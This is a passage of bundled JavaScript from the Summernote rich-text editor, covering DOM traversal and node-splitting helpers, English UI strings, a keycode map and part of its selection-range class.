Chrome(v31.0), FF(v25.0.1) use DIV for paragraph return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase()); } function isHeading(node) { return node && /^H[1-7]/.test(node.nodeName.toUpperCase()); } var isPre = makePredByNodeName('PRE'); var isLi = makePredByNodeName('LI'); function isPurePara(node) { return isPara(node) && !isLi(node); } var isTable = makePredByNodeName('TABLE'); var isData = makePredByNodeName('DATA'); function isInline(node) { return !isBodyContainer(node) && !isList(node) && !isHr(node) && !isPara(node) && !isTable(node) && !isBlockquote(node) && !isData(node); } function isList(node) { return node && /^UL|^OL/.test(node.nodeName.toUpperCase()); } var isHr = makePredByNodeName('HR'); function isCell(node) { return node && /^TD|^TH/.test(node.nodeName.toUpperCase()); } var isBlockquote = makePredByNodeName('BLOCKQUOTE'); function isBodyContainer(node) { return isCell(node) || isBlockquote(node) || isEditable(node); } var isAnchor = makePredByNodeName('A'); function isParaInline(node) { return isInline(node) && !!ancestor(node, isPara); } function isBodyInline(node) { return isInline(node) && !ancestor(node, isPara); } var isBody = makePredByNodeName('BODY'); /** * returns whether nodeB is closest sibling of nodeA * * @param {Node} nodeA * @param {Node} nodeB * @return {Boolean} */ function isClosestSibling(nodeA, nodeB) { return nodeA.nextSibling === nodeB || nodeA.previousSibling === nodeB; } /** * returns array of closest siblings with node * * @param {Node} node * @param {function} [pred] - predicate function * @return {Node[]} */ function withClosestSiblings(node, pred) { pred = pred || func.ok; var siblings = []; if (node.previousSibling && pred(node.previousSibling)) { siblings.push(node.previousSibling); } siblings.push(node); if (node.nextSibling && pred(node.nextSibling)) { siblings.push(node.nextSibling); } return siblings; } /** * blank HTML for cursor position * - [workaround] old IE only works with * - [workaround] IE11 and other browser works with bogus br */ var blankHTML = env.isMSIE && env.browserVersion < 11 ? ' ' : '<br>'; /** * @method nodeLength * * returns #text's text size or element's childNodes size * * @param {Node} node */ function nodeLength(node) { if (isText(node)) { return node.nodeValue.length; } if (node) { return node.childNodes.length; } return 0; } /** * returns whether node is empty or not. * * @param {Node} node * @return {Boolean} */ function isEmpty(node) { var len = nodeLength(node); if (len === 0) { return true; } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) { // ex) <p><br></p>, <span><br></span> return true; } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') { // ex) <p></p>, <span></span> return true; } return false; } /** * padding blankHTML if node is empty (for cursor position) */ function paddingBlankHTML(node) { if (!isVoid(node) && !nodeLength(node)) { node.innerHTML = blankHTML; } } /** * find nearest ancestor predicate hit * * @param {Node} node * @param {Function} pred - predicate function */ function ancestor(node, pred) { while (node) { if (pred(node)) { return node; } if (isEditable(node)) { break; } node = node.parentNode; } return null; } /** * find nearest ancestor only single child blood line and predicate hit * * @param {Node} node * @param {Function} pred - predicate function */ function singleChildAncestor(node, pred) { node = node.parentNode; while (node) { if (nodeLength(node) !== 1) { break; } if (pred(node)) { return node; } if (isEditable(node)) { break; } node = node.parentNode; } return null; } /** * returns new array of ancestor nodes (until predicate hit). * * @param {Node} node * @param {Function} [optional] pred - predicate function */ function listAncestor(node, pred) { pred = pred || func.fail; var ancestors = []; ancestor(node, function (el) { if (!isEditable(el)) { ancestors.push(el); } return pred(el); }); return ancestors; } /** * find farthest ancestor predicate hit */ function lastAncestor(node, pred) { var ancestors = listAncestor(node); return lists.last(ancestors.filter(pred)); } /** * returns common ancestor node between two nodes. * * @param {Node} nodeA * @param {Node} nodeB */ function commonAncestor(nodeA, nodeB) { var ancestors = listAncestor(nodeA); for (var n = nodeB; n; n = n.parentNode) { if ($$1.inArray(n, ancestors) > -1) { return n; } } return null; // difference document area } /** * listing all previous siblings (until predicate hit). * * @param {Node} node * @param {Function} [optional] pred - predicate function */ function listPrev(node, pred) { pred = pred || func.fail; var nodes = []; while (node) { if (pred(node)) { break; } nodes.push(node); node = node.previousSibling; } return nodes; } /** * listing next siblings (until predicate hit). * * @param {Node} node * @param {Function} [pred] - predicate function */ function listNext(node, pred) { pred = pred || func.fail; var nodes = []; while (node) { if (pred(node)) { break; } nodes.push(node); node = node.nextSibling; } return nodes; } /** * listing descendant nodes * * @param {Node} node * @param {Function} [pred] - predicate function */ function listDescendant(node, pred) { var descendants = []; pred = pred || func.ok; // start DFS(depth first search) with node (function fnWalk(current) { if (node !== current && pred(current)) { descendants.push(current); } for (var idx = 0, len = current.childNodes.length; idx < len; idx++) { fnWalk(current.childNodes[idx]); } })(node); return descendants; } /** * wrap node with new tag. * * @param {Node} node * @param {Node} tagName of wrapper * @return {Node} - wrapper */ function wrap(node, wrapperName) { var parent = node.parentNode; var wrapper = $$1('<' + wrapperName + '>')[0]; parent.insertBefore(wrapper, node); wrapper.appendChild(node); return wrapper; } /** * insert node after preceding * * @param {Node} node * @param {Node} preceding - predicate function */ function insertAfter(node, preceding) { var next = preceding.nextSibling; var parent = preceding.parentNode; if (next) { parent.insertBefore(node, next); } else { parent.appendChild(node); } return node; } /** * append elements. * * @param {Node} node * @param {Collection} aChild */ function appendChildNodes(node, aChild) { $$1.each(aChild, function (idx, child) { node.appendChild(child); }); return node; } /** * returns whether boundaryPoint is left edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isLeftEdgePoint(point) { return point.offset === 0; } /** * returns whether boundaryPoint is right edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isRightEdgePoint(point) { return point.offset === nodeLength(point.node); } /** * returns whether boundaryPoint is edge or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isEdgePoint(point) { return isLeftEdgePoint(point) || isRightEdgePoint(point); } /** * returns whether node is left edge of ancestor or not. * * @param {Node} node * @param {Node} ancestor * @return {Boolean} */ function isLeftEdgeOf(node, ancestor) { while (node && node !== ancestor) { if (position(node) !== 0) { return false; } node = node.parentNode; } return true; } /** * returns whether node is right edge of ancestor or not. * * @param {Node} node * @param {Node} ancestor * @return {Boolean} */ function isRightEdgeOf(node, ancestor) { if (!ancestor) { return false; } while (node && node !== ancestor) { if (position(node) !== nodeLength(node.parentNode) - 1) { return false; } node = node.parentNode; } return true; } /** * returns whether point is left edge of ancestor or not. * @param {BoundaryPoint} point * @param {Node} ancestor * @return {Boolean} */ function isLeftEdgePointOf(point, ancestor) { return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor); } /** * returns whether point is right edge of ancestor or not. * @param {BoundaryPoint} point * @param {Node} ancestor * @return {Boolean} */ function isRightEdgePointOf(point, ancestor) { return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor); } /** * returns offset from parent. * * @param {Node} node */ function position(node) { var offset = 0; while ((node = node.previousSibling)) { offset += 1; } return offset; } function hasChildren(node) { return !!(node && node.childNodes && node.childNodes.length); } /** * returns previous boundaryPoint * * @param {BoundaryPoint} point * @param {Boolean} isSkipInnerOffset * @return {BoundaryPoint} */ function prevPoint(point, isSkipInnerOffset) { var node; var offset; if (point.offset === 0) { if (isEditable(point.node)) { return null; } node = point.node.parentNode; offset = position(point.node); } else if (hasChildren(point.node)) { node = point.node.childNodes[point.offset - 1]; offset = nodeLength(node); } else { node = point.node; offset = isSkipInnerOffset ? 0 : point.offset - 1; } return { node: node, offset: offset }; } /** * returns next boundaryPoint * * @param {BoundaryPoint} point * @param {Boolean} isSkipInnerOffset * @return {BoundaryPoint} */ function nextPoint(point, isSkipInnerOffset) { var node, offset; if (nodeLength(point.node) === point.offset) { if (isEditable(point.node)) { return null; } node = point.node.parentNode; offset = position(point.node) + 1; } else if (hasChildren(point.node)) { node = point.node.childNodes[point.offset]; offset = 0; } else { node = point.node; offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1; } return { node: node, offset: offset }; } /** * returns whether pointA and pointB is same or not. * * @param {BoundaryPoint} pointA * @param {BoundaryPoint} pointB * @return {Boolean} */ function isSamePoint(pointA, pointB) { return pointA.node === pointB.node && pointA.offset === pointB.offset; } /** * returns whether point is visible (can set cursor) or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isVisiblePoint(point) { if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) { return true; } var leftNode = point.node.childNodes[point.offset - 1]; var rightNode = point.node.childNodes[point.offset]; if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) { return true; } return false; } /** * @method prevPointUtil * * @param {BoundaryPoint} point * @param {Function} pred * @return {BoundaryPoint} */ function prevPointUntil(point, pred) { while (point) { if (pred(point)) { return point; } point = prevPoint(point); } return null; } /** * @method nextPointUntil * * @param {BoundaryPoint} point * @param {Function} pred * @return {BoundaryPoint} */ function nextPointUntil(point, pred) { while (point) { if (pred(point)) { return point; } point = nextPoint(point); } return null; } /** * returns whether point has character or not. * * @param {Point} point * @return {Boolean} */ function isCharPoint(point) { if (!isText(point.node)) { return false; } var ch = point.node.nodeValue.charAt(point.offset - 1); return ch && (ch !== ' ' && ch !== NBSP_CHAR); } /** * @method walkPoint * * @param {BoundaryPoint} startPoint * @param {BoundaryPoint} endPoint * @param {Function} handler * @param {Boolean} isSkipInnerOffset */ function walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) { var point = startPoint; while (point) { handler(point); if (isSamePoint(point, endPoint)) { break; } var isSkipOffset = isSkipInnerOffset && startPoint.node !== point.node && endPoint.node !== point.node; point = nextPoint(point, isSkipOffset); } } /** * @method makeOffsetPath * * return offsetPath(array of offset) from ancestor * * @param {Node} ancestor - ancestor node * @param {Node} node */ function makeOffsetPath(ancestor, node) { var ancestors = listAncestor(node, func.eq(ancestor)); return ancestors.map(position).reverse(); } /** * @method fromOffsetPath * * return element from offsetPath(array of offset) * * @param {Node} ancestor - ancestor node * @param {array} offsets - offsetPath */ function fromOffsetPath(ancestor, offsets) { var current = ancestor; for (var i = 0, len = offsets.length; i < len; i++) { if (current.childNodes.length <= offsets[i]) { current = current.childNodes[current.childNodes.length - 1]; } else { current = current.childNodes[offsets[i]]; } } return current; } /** * @method splitNode * * split element or #text * * @param {BoundaryPoint} point * @param {Object} [options] * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false * @param {Boolean} [options.isNotSplitEdgePoint] - default: false * @return {Node} right node of boundaryPoint */ function splitNode(point, options) { var isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML; var isNotSplitEdgePoint = options && options.isNotSplitEdgePoint; // edge case if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) { if (isLeftEdgePoint(point)) { return point.node; } else if (isRightEdgePoint(point)) { return point.node.nextSibling; } } // split #text if (isText(point.node)) { return point.node.splitText(point.offset); } else { var childNode = point.node.childNodes[point.offset]; var clone = insertAfter(point.node.cloneNode(false), point.node); appendChildNodes(clone, listNext(childNode)); if (!isSkipPaddingBlankHTML) { paddingBlankHTML(point.node); paddingBlankHTML(clone); } return clone; } } /** * @method splitTree * * split tree by point * * @param {Node} root - split root * @param {BoundaryPoint} point * @param {Object} [options] * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false * @param {Boolean} [options.isNotSplitEdgePoint] - default: false * @return {Node} right node of boundaryPoint */ function splitTree(root, point, options) { // ex) [#text, <span>, <p>] var ancestors = listAncestor(point.node, func.eq(root)); if (!ancestors.length) { return null; } else if (ancestors.length === 1) { return splitNode(point, options); } return ancestors.reduce(function (node, parent) { if (node === point.node) { node = splitNode(point, options); } return splitNode({ node: parent, offset: node ? position(node) : nodeLength(parent) }, options); }); } /** * split point * * @param {Point} point * @param {Boolean} isInline * @return {Object} */ function splitPoint(point, isInline) { // find splitRoot, container // - inline: splitRoot is a child of paragraph // - block: splitRoot is a child of bodyContainer var pred = isInline ? isPara : isBodyContainer; var ancestors = listAncestor(point.node, pred); var topAncestor = lists.last(ancestors) || point.node; var splitRoot, container; if (pred(topAncestor)) { splitRoot = ancestors[ancestors.length - 2]; container = topAncestor; } else { splitRoot = topAncestor; container = splitRoot.parentNode; } // if splitRoot is exists, split with splitTree var pivot = splitRoot && splitTree(splitRoot, point, { isSkipPaddingBlankHTML: isInline, isNotSplitEdgePoint: isInline }); // if container is point.node, find pivot with point.offset if (!pivot && container === point.node) { pivot = point.node.childNodes[point.offset]; } return { rightNode: pivot, container: container }; } function create(nodeName) { return document.createElement(nodeName); } function createText(text) { return document.createTextNode(text); } /** * @method remove * * remove node, (isRemoveChild: remove child or not) * * @param {Node} node * @param {Boolean} isRemoveChild */ function remove(node, isRemoveChild) { if (!node || !node.parentNode) { return; } if (node.removeNode) { return node.removeNode(isRemoveChild); } var parent = node.parentNode; if (!isRemoveChild) { var nodes = []; for (var i = 0, len = node.childNodes.length; i < len; i++) { nodes.push(node.childNodes[i]); } for (var i = 0, len = nodes.length; i < len; i++) { parent.insertBefore(nodes[i], node); } } parent.removeChild(node); } /** * @method removeWhile * * @param {Node} node * @param {Function} pred */ function removeWhile(node, pred) { while (node) { if (isEditable(node) || !pred(node)) { break; } var parent = node.parentNode; remove(node); node = parent; } } /** * @method replace * * replace node with provided nodeName * * @param {Node} node * @param {String} nodeName * @return {Node} - new node */ function replace(node, nodeName) { if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) { return node; } var newNode = create(nodeName); if (node.style.cssText) { newNode.style.cssText = node.style.cssText; } appendChildNodes(newNode, lists.from(node.childNodes)); insertAfter(newNode, node); remove(node); return newNode; } var isTextarea = makePredByNodeName('TEXTAREA'); /** * @param {jQuery} $node * @param {Boolean} [stripLinebreaks] - default: false */ function value($node, stripLinebreaks) { var val = isTextarea($node[0]) ? $node.val() : $node.html(); if (stripLinebreaks) { return val.replace(/[\n\r]/g, ''); } return val; } /** * @method html * * get the HTML contents of node * * @param {jQuery} $node * @param {Boolean} [isNewlineOnBlock] */ function html($node, isNewlineOnBlock) { var markup = value($node); if (isNewlineOnBlock) { var regexTag = /<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g; markup = markup.replace(regexTag, function (match, endSlash, name) { name = name.toUpperCase(); var isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) && !!endSlash; var isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name); return match + ((isEndOfInlineContainer || isBlockNode) ? '\n' : ''); }); markup = $$1.trim(markup); } return markup; } function posFromPlaceholder(placeholder) { var $placeholder = $$1(placeholder); var pos = $placeholder.offset(); var height = $placeholder.outerHeight(true); // include margin return { left: pos.left, top: pos.top + height }; } function attachEvents($node, events) { Object.keys(events).forEach(function (key) { $node.on(key, events[key]); }); } function detachEvents($node, events) { Object.keys(events).forEach(function (key) { $node.off(key, events[key]); }); } /** * @method isCustomStyleTag * * assert if a node contains a "note-styletag" class, * which implies that's a custom-made style tag node * * @param {Node} an HTML DOM node */ function isCustomStyleTag(node) { return node && !isText(node) && lists.contains(node.classList, 'note-styletag'); } var dom = { /** @property {String} NBSP_CHAR */ NBSP_CHAR: NBSP_CHAR, /** @property {String} ZERO_WIDTH_NBSP_CHAR */ ZERO_WIDTH_NBSP_CHAR: ZERO_WIDTH_NBSP_CHAR, /** @property {String} blank */ blank: blankHTML, /** @property {String} emptyPara */ emptyPara: "<p>" + blankHTML + "</p>", makePredByNodeName: makePredByNodeName, isEditable: isEditable, isControlSizing: isControlSizing, isText: isText, isElement: isElement, isVoid: isVoid, isPara: isPara, isPurePara: isPurePara, isHeading: isHeading, isInline: isInline, isBlock: func.not(isInline), isBodyInline: isBodyInline, isBody: isBody, isParaInline: isParaInline, isPre: isPre, isList: isList, isTable: isTable, isData: isData, isCell: isCell, isBlockquote: isBlockquote, isBodyContainer: isBodyContainer, isAnchor: isAnchor, isDiv: makePredByNodeName('DIV'), isLi: isLi, isBR: makePredByNodeName('BR'), isSpan: makePredByNodeName('SPAN'), isB: makePredByNodeName('B'), isU: makePredByNodeName('U'), isS: makePredByNodeName('S'), isI: makePredByNodeName('I'), isImg: makePredByNodeName('IMG'), isTextarea: isTextarea, isEmpty: isEmpty, isEmptyAnchor: func.and(isAnchor, isEmpty), isClosestSibling: isClosestSibling, withClosestSiblings: withClosestSiblings, nodeLength: nodeLength, isLeftEdgePoint: isLeftEdgePoint, isRightEdgePoint: isRightEdgePoint, isEdgePoint: isEdgePoint, isLeftEdgeOf: isLeftEdgeOf, isRightEdgeOf: isRightEdgeOf, isLeftEdgePointOf: isLeftEdgePointOf, isRightEdgePointOf: isRightEdgePointOf, prevPoint: prevPoint, nextPoint: nextPoint, isSamePoint: isSamePoint, isVisiblePoint: isVisiblePoint, prevPointUntil: prevPointUntil, nextPointUntil: nextPointUntil, isCharPoint: isCharPoint, walkPoint: walkPoint, ancestor: ancestor, singleChildAncestor: singleChildAncestor, listAncestor: listAncestor, lastAncestor: lastAncestor, listNext: listNext, listPrev: listPrev, listDescendant: listDescendant, commonAncestor: commonAncestor, wrap: wrap, insertAfter: insertAfter, appendChildNodes: appendChildNodes, position: position, hasChildren: hasChildren, makeOffsetPath: makeOffsetPath, fromOffsetPath: fromOffsetPath, splitTree: splitTree, splitPoint: splitPoint, create: create, createText: createText, remove: remove, removeWhile: removeWhile, replace: replace, html: html, value: value, posFromPlaceholder: posFromPlaceholder, attachEvents: attachEvents, detachEvents: detachEvents, isCustomStyleTag: isCustomStyleTag }; $$1.summernote = $$1.summernote || { lang: {} }; $$1.extend($$1.summernote.lang, { 'en-US': { font: { bold: 'Bold', italic: 'Italic', underline: 'Underline', clear: 'Remove Font Style', height: 'Line Height', name: 'Font Family', strikethrough: 'Strikethrough', subscript: 'Subscript', superscript: 'Superscript', size: 'Font Size' }, image: { image: 'Picture', insert: 'Insert Image', resizeFull: 'Resize Full', resizeHalf: 'Resize Half', resizeQuarter: 'Resize Quarter', floatLeft: 'Float Left', floatRight: 'Float Right', floatNone: 'Float None', shapeRounded: 'Shape: Rounded', shapeCircle: 'Shape: Circle', shapeThumbnail: 'Shape: Thumbnail', shapeNone: 'Shape: None', dragImageHere: 'Drag image or text here', dropImage: 'Drop image or Text', selectFromFiles: 'Select from files', maximumFileSize: 'Maximum file size', maximumFileSizeError: 'Maximum file size exceeded.', url: 'Image URL', remove: 'Remove Image', original: 'Original' }, video: { video: 'Video', videoLink: 'Video Link', insert: 'Insert Video', url: 'Video URL', providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)' }, link: { link: 'Link', insert: 'Insert Link', unlink: 'Unlink', edit: 'Edit', textToDisplay: 'Text to display', url: 'To what URL should this link go?', openInNewWindow: 'Open in new window' }, table: { table: 'Table', addRowAbove: 'Add row above', addRowBelow: 'Add row below', addColLeft: 'Add column left', addColRight: 'Add column right', delRow: 'Delete row', delCol: 'Delete column', delTable: 'Delete table' }, hr: { insert: 'Insert Horizontal Rule' }, style: { style: 'Style', p: 'Normal', blockquote: 'Quote', pre: 'Code', h1: 'Header 1', h2: 'Header 2', h3: 'Header 3', h4: 'Header 4', h5: 'Header 5', h6: 'Header 6' }, lists: { unordered: 'Unordered list', ordered: 'Ordered list' }, options: { help: 'Help', fullscreen: 'Full Screen', codeview: 'Code View' }, paragraph: { paragraph: 'Paragraph', outdent: 'Outdent', indent: 'Indent', left: 'Align left', center: 'Align center', right: 'Align right', justify: 'Justify full' }, color: { recent: 'Recent Color', more: 'More Color', background: 'Background Color', foreground: 'Foreground Color', transparent: 'Transparent', setTransparent: 'Set transparent', reset: 'Reset', resetToDefault: 'Reset to default' }, shortcut: { shortcuts: 'Keyboard shortcuts', close: 'Close', textFormatting: 'Text formatting', action: 'Action', paragraphFormatting: 'Paragraph formatting', documentStyle: 'Document Style', extraKeys: 'Extra keys' }, help: { 'insertParagraph': 'Insert Paragraph', 'undo': 'Undoes the last command', 'redo': 'Redoes the last command', 'tab': 'Tab', 'untab': 'Untab', 'bold': 'Set a bold style', 'italic': 'Set a italic style', 'underline': 'Set a underline style', 'strikethrough': 'Set a strikethrough style', 'removeFormat': 'Clean a style', 'justifyLeft': 'Set left align', 'justifyCenter': 'Set center align', 'justifyRight': 'Set right align', 'justifyFull': 'Set full align', 'insertUnorderedList': 'Toggle unordered list', 'insertOrderedList': 'Toggle ordered list', 'outdent': 'Outdent on current paragraph', 'indent': 'Indent on current paragraph', 'formatPara': 'Change current block\'s format as a paragraph(P tag)', 'formatH1': 'Change current block\'s format as H1', 'formatH2': 'Change current block\'s format as H2', 'formatH3': 'Change current block\'s format as H3', 'formatH4': 'Change current block\'s format as H4', 'formatH5': 'Change current block\'s format as H5', 'formatH6': 'Change current block\'s format as H6', 'insertHorizontalRule': 'Insert horizontal rule', 'linkDialog.show': 'Show Link Dialog' }, history: { undo: 'Undo', redo: 'Redo' }, specialChar: { specialChar: 'SPECIAL CHARACTERS', select: 'Select Special characters' } } }); var KEY_MAP = { 'BACKSPACE': 8, 'TAB': 9, 'ENTER': 13, 'SPACE': 32, 'DELETE': 46, // Arrow 'LEFT': 37, 'UP': 38, 'RIGHT': 39, 'DOWN': 40, // Number: 0-9 'NUM0': 48, 'NUM1': 49, 'NUM2': 50, 'NUM3': 51, 'NUM4': 52, 'NUM5': 53, 'NUM6': 54, 'NUM7': 55, 'NUM8': 56, // Alphabet: a-z 'B': 66, 'E': 69, 'I': 73, 'J': 74, 'K': 75, 'L': 76, 'R': 82, 'S': 83, 'U': 85, 'V': 86, 'Y': 89, 'Z': 90, 'SLASH': 191, 'LEFTBRACKET': 219, 'BACKSLASH': 220, 'RIGHTBRACKET': 221 }; /** * @class core.key * * Object for keycodes. * * @singleton * @alternateClassName key */ var key = { /** * @method isEdit * * @param {Number} keyCode * @return {Boolean} */ isEdit: function (keyCode) { return lists.contains([ KEY_MAP.BACKSPACE, KEY_MAP.TAB, KEY_MAP.ENTER, KEY_MAP.SPACE, KEY_MAP.DELETE ], keyCode); }, /** * @method isMove * * @param {Number} keyCode * @return {Boolean} */ isMove: function (keyCode) { return lists.contains([ KEY_MAP.LEFT, KEY_MAP.UP, KEY_MAP.RIGHT, KEY_MAP.DOWN ], keyCode); }, /** * @property {Object} nameFromCode * @property {String} nameFromCode.8 "BACKSPACE" */ nameFromCode: func.invertObject(KEY_MAP), code: KEY_MAP }; /** * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js * * @param {TextRange} textRange * @param {Boolean} isStart * @return {BoundaryPoint} * * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx */ function textRangeToPoint(textRange, isStart) { var container = textRange.parentElement(); var offset; var tester = document.body.createTextRange(); var prevContainer; var childNodes = lists.from(container.childNodes); for (offset = 0; offset < childNodes.length; offset++) { if (dom.isText(childNodes[offset])) { continue; } tester.moveToElementText(childNodes[offset]); if (tester.compareEndPoints('StartToStart', textRange) >= 0) { break; } prevContainer = childNodes[offset]; } if (offset !== 0 && dom.isText(childNodes[offset - 1])) { var textRangeStart = document.body.createTextRange(); var curTextNode = null; textRangeStart.moveToElementText(prevContainer || container); textRangeStart.collapse(!prevContainer); curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild; var pointTester = textRange.duplicate(); pointTester.setEndPoint('StartToStart', textRangeStart); var textCount = pointTester.text.replace(/[\r\n]/g, '').length; while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) { textCount -= curTextNode.nodeValue.length; curTextNode = curTextNode.nextSibling; } // [workaround] enforce IE to re-reference curTextNode, hack var dummy = curTextNode.nodeValue; // eslint-disable-line if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) && textCount === curTextNode.nodeValue.length) { textCount -= curTextNode.nodeValue.length; curTextNode = curTextNode.nextSibling; } container = curTextNode; offset = textCount; } return { cont: container, offset: offset }; } /** * return TextRange from boundary point (inspired by google closure-library) * @param {BoundaryPoint} point * @return {TextRange} */ function pointToTextRange(point) { var textRangeInfo = function (container, offset) { var node, isCollapseToStart; if (dom.isText(container)) { var prevTextNodes = dom.listPrev(container, func.not(dom.isText)); var prevContainer = lists.last(prevTextNodes).previousSibling; node = prevContainer || container.parentNode; offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength); isCollapseToStart = !prevContainer; } else { node = container.childNodes[offset] || container; if (dom.isText(node)) { return textRangeInfo(node, 0); } offset = 0; isCollapseToStart = false; } return { node: node, collapseToStart: isCollapseToStart, offset: offset }; }; var textRange = document.body.createTextRange(); var info = textRangeInfo(point.node, point.offset); textRange.moveToElementText(info.node); textRange.collapse(info.collapseToStart); textRange.moveStart('character', info.offset); return textRange; } /** * Wrapped Range * * @constructor * @param {Node} sc - start container * @param {Number} so - start offset * @param {Node} ec - end container * @param {Number} eo - end offset */ var WrappedRange = /** @class */ (function () { function WrappedRange(sc, so, ec, eo) { this.sc = sc; this.so = so; this.ec = ec; this.eo = eo; // isOnEditable: judge whether range is on editable or not this.isOnEditable = this.makeIsOn(dom.isEditable); // isOnList: judge whether range is on list node or not this.isOnList = this.makeIsOn(dom.isList); // isOnAnchor: judge whether range is on anchor node or not this.isOnAnchor = this.makeIsOn(dom.isAnchor); // isOnCell: judge whether range is on cell node or not this.isOnCell = this.makeIsOn(dom.isCell); // isOnData: judge whether range is on data node or not this.isOnData = this.makeIsOn(dom.isData); } // nativeRange: get nativeRange from sc, so, ec, eo WrappedRange.prototype.nativeRange = function () { if (env.isW3CRangeSupport) { var w3cRange = document.createRange(); w3cRange.setStart(this.sc, this.so); w3cRange.setEnd(this.ec, this.eo); return w3cRange; } else { var textRange = pointToTextRange({ node: this.sc, offset: this.so }); textRange.setEndPoint('EndToEnd', pointToTextRange({ node: this.ec, offset: this.eo })); return textRange; } }; WrappedRange.prototype.getPoints = function () { return { sc: this.sc, so: this.so, ec: this.ec, eo: this.eo }; }; WrappedRange.prototype.getStartPoint = function () { return { node: this.sc, offset: this.so }; }; WrappedRange.prototype.getEndPoint = function () { return { node: this.ec, offset: this.eo }; }; /** * select update visible range */ WrappedRange.prototype.select = function () { var nativeRng = this.nativeRange(); if (env.isW3CRangeSupport) { var selection = document.getSelection(); if (selection.rangeCount > 0) { selection.removeAllRanges(); } selection.addRange(nativeRng); } else { nativeRng.select(); } return this; }; /** * Moves the scrollbar to start container(sc) of current range * * @return {WrappedRange} */ WrappedRange.prototype.scrollIntoView = function (container) { var height = $$1(container).height(); if (container.scrollTop + height < this.sc.offsetTop) { container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop); } return this; }; /** * @return {WrappedRange} */ WrappedRange.prototype.normalize = function () { /** * @param {BoundaryPoint} point * @param {Boolean} isLeftToRight * @return {BoundaryPoint} */ var getVisiblePoint = function (point, isLeftToRight) { if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) || (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) || (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) || (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) { return point; } // point on block's edge var block = dom.ancestor(point.node, dom.isBlock); if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) || ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) { // returns point already on visible point if (dom.isVisiblePoint(point)) { return point; } // reverse direction isLeftToRight = !isLeftToRight; } var nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint) : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint); return nextPoint || point; }; var endPoint = getVisiblePoint(this.getEndPoint(), false); var startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true); return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset); }; /** * returns matched nodes on range * * @param {Function} [pred] - predicate function * @param {Object} [options] * @param {Boolean} [options.includeAncestor] * @param {Boolean} [options.fullyContains] * @return {Node[]} */ WrappedRange.prototype.nodes = function (pred, options) { pred = pred || func.ok; var includeAncestor = options && options.includeAncestor; var fullyContains = options && options.fullyContains; // TODO compare points and sort var startPoint = this.getStartPoint(); var endPoint = this.getEndPoint(); var nodes = []; var leftEdgeNodes = []; dom.walkPoint(startPoint, endPoint, function (point) { if (dom.isEditable(point.node)) { return; } var node; if (fullyContains) { if (dom.isLeftEdgePoint(point)) { leftEdgeNodes.push(point.node); } if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) { node = point.node; } } else if (includeAncestor) { node = dom.ancestor(point.node, pred); } else { node = point.node; } if (node && pred(node)) { nodes.push(node); } }, true); return lists.unique(nodes); }; /** * returns commonAncestor of range * @return {Element} - commonAncestor */ WrappedRange.prototype.commonAncestor = function () { return dom.commonAncestor(this.sc, this.ec); }; /** * returns expanded range by pred * * @param {Function} pred - predicate function * @return {WrappedRange} */ WrappedRange.prototype.expand = function (pred) { var startAncestor = dom.ancestor(this.sc, pred); var endAncestor = dom.ancestor(this.ec, pred); if (!startAncestor && !endAncestor) { return new WrappedRange(this.sc, this.so, this.ec, this.eo); } var boundaryPoints = this.getPoints(); if (startAncestor) { boundaryPoints.sc = startAncestor; boundaryPoints.so = 0; } if (endAncestor) { boundaryPoints.ec = endAncestor; boundaryPoints.eo = dom.nodeLength(endAncestor); } return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo); }; /** * @param {Boolean} isCollapseToStart * @return {WrappedRange} */ WrappedRange.prototype.collapse = function (isCollapseToStart) { if (isCollapseToStart) { return new WrappedRange(this.sc, this.so, this.sc, this.so); } else { return new WrappedRange(this.ec, this.eo, this.ec, this.eo); } }; /** * splitText on range */ WrappedRange.prototype.splitText = function () { var isSameContainer = this.sc === this.ec; var boundaryPoints = this.getPoints(); if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) { this.ec.splitText(this.eo); } if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) { boundaryPoints.sc = 